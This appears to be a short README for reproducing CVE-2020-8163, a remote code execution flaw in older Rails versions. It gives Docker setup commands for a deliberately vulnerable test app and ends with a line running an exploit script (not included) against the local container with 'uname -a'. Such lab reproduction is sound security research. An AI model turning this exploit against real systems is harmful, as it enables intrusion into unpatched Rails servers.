
Enviroment and exploit to rce test
Enviroment and exploit to CVE-2020-8163 Blind remote code execution of user-provided local names in Rails < 5.0.1 and < 4.2.11.2
sudo docker run --rm -it -p 8001:4000 ruby:2.3 bash
apt update && apt install unzip libz-dev libiconv-hook1 libiconv-hook-dev net-tools nodejs -y
sudo docker ps
zip -r test_cve-2020-8163.zip test_cve-2020-8163/
sudo docker cp test_cve-2020-8163.zip id_container:/opt/
cd opt
unzip testapp.zip
cd test_cve-2020-8163
bundle
bundle exec rails s -p 4000 -b '0.0.0.0'
sudo docker commit id_container name_of_commit
ruby exploit.rb http://localhost:8001/main/index "uname -a"